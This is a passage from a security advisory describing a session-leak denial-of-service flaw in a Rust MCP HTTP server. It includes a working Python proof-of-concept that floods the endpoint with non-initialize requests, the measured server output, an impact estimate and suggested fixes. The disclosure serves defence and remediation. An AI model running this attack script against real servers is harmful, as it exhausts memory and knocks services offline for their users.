Advisory

GHSA-9pj6-vhgr-3mwh

Details, part 2 of 2. The advisory

Details

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

<!--
Optional: drop in a terminal screenshot here. Two screenshots
(server console / attacker console) or one side-by-side capture are
both fine. Filenames can be anything you like; suggested:
![server console — active_sessions climbs to 1000 and remains](server.png)
![attacker console — 1000/1000 HTTP 422 in 0.46s](attacker.png)
-->

<img width="3554" height="1468" alt="poc" src="https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6" />

Impact

  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client: - 1 hour: ~7.8 M entries, ≈3.5 GB - 1 day: ~187 M entries, ≈84 GB - 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Sources & licences